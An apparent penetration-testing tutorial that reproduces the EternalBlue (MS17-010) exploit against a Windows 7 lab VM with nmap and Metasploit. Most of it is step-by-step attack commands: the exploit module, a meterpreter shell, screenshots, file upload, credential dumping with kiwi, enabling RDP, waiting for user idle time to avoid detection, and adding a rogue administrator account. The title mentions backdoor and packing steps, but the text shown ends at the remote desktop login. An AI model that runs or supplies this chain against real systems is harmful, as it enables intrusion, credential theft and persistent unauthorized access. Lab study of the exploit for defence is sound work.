Kali - MSF EternalBlue Detailed Explanation (Reproduction, Demonstration, Remote, Backdoor, Packing, Fixing)

Overview of Eternal Blue
Eternal Blue, which erupted on the evening of April 14, 2017, is a vulnerability that exploits the SMB protocol in Windows systems to gain the highest level of system privileges and control the compromised computer. Even on May 12, 2017, malicious individuals used the "Eternal Blue" to create the WannaCry program, which affected a wide range of institutions worldwide, including schools, large enterprises, and governments. The only way to recover files was to pay a high ransom. However, Microsoft patched the program shortly after its release.
SMB Protocol
SMB (Server Message Block) is a protocol for server message blocks. It is a client/server, request/response protocol that allows for file sharing, printer sharing, named pipes, and other resources between computers. The "Network Neighborhood" on a computer relies on SMB. The SMB protocol works at the application layer and session layer and can be used on top of the TCP/IP protocol. SMB uses TCP port 139 and TCP port 445.
Preparation
Virtual Machine: VMware
Target Machine: Windows 7 (IP: 192.168.184.138) Image Download https://msdn.itellyou.cn/
Attacker Machine: Kali (IP: 192.168.184.130)
Tools: nmap and Metasploit (MSF) in Kali
Vulnerability Reproduction
1. Host Discovery
  a. Prerequisite: Disable the firewall on Win7.
  
  Not disabling the firewall may result in nmap not scanning its ports and MSF not being able to exploit the Eternal Blue vulnerability.
  
  You can use ipconfig or ifconfig to check the IP addresses of Win7 and Kali separately:
  
  Win7
2. Host Discovery using nmap in Kali
  
  IP Address: +
  
  Class A: 10.0.0.0～10.255.255.255
  Class B: 172.16.0.0～173.31.255.255
  Class C: 192.168.0.0～192.168.255.255
  /24 represents 24 ones, which means the subnet mask is 255.255.255.0
  192.168.184.0/24: The number after "/" controls the subnet mask of the preceding IP address, indicating how many bits can vary afterwards.
```
nmap -sP 192.168.184.0/24  #sP (ping scan)
```
3. Host Discovery using Metasploit (MSF) in Kali
```
msfconsole                                 // Start MSF
use auxiliary/scanner/discovery/arp_sweep  // Use the module
set rhosts 192.168.184.0/24   // Set the scan range
set threads 50             // Increase the number of threads
run                        // Run
```
  MSF searches for the Eternal Blue vulnerability by entering search ms17-010 (Microsoft Eternal Blue code ms17-010)
  1. blue is the Eternal Blue vulnerability.
  2. psexec is a usable module in JavaScript (JS).
  3. command runs cmd.
  4. The last one is a detection module.
  a. First, let's use the detection module to see if our Win7 machine may have the vulnerability.
```
use exploit/windows/smb/ms17_010_eternalblue
show options 
set rhosts 192.168.184.138
exploit/run
```
  If successful, the meterpreter > prompt will appear.
  Meterpreter is an extension module of Metasploit that allows for more in-depth penetration of the target system, such as entering cmd, capturing the screen, uploading/downloading files, creating persistent backdoors, etc.
```
meterpreter > shell
chcp 65001  // Convert encoding to avoid garbled characters
ipconfig  # Check IP
whoami    # Check current username
```
4. Capture the screen
```
meterpreter > screenshot   # Take a screenshot
```
5. Upload files
```
meterpreter > upload user.txt c://
```
6. Remote login
  Use the kiwi module to view passwords:
  
  Using the kiwi module requires system administrator privileges:
```
meterpreter > load kiwi // Load the kiwi module
Loading extension kiwi...Success.
creds_all  # List all credentials
exit   # Exit
```
  Start port 3389 on MSF's target machine
  
  By default, Windows Remote Desktop is not allowed:
  
  We can't manually allow remote connections on Win7, otherwise, how can we call ourselves hackers, hahaha...
  
  Start port 3389 on Win7, which is the Remote Desktop Protocol. Execute the remote connection command:
```
meterpreter > run post/windows/manage/enable_rdp  // Enable port 3389 for remote desktop on the target host
meterpreter > idletime  // Check the idle time of remote users and wait for a long idle time before remote login to reduce the risk of being discovered.
```
```
root@kali:~# rdesktop 192.168.184.138  // Use the rdesktop command to remotely connect to the desktop
```
  Since this way we log in to the Win7 user, the user on Win7 will be logged out:
  Create a user:
  
  So we need to create a new user to log in:
```
meterpreter > shell            # Enter the command line
net user kill 123 /add         # Create a new user "kill" with password "123"
net localgroup administrators kill /add # Add the user "kill" to the local administrators group of Win7 to obtain administrator privileges
net user               # Check users
```
```
root@kali:~# rdesktop 192.168.184.138  // Use the rdesktop command to remotely connect to the desktop
```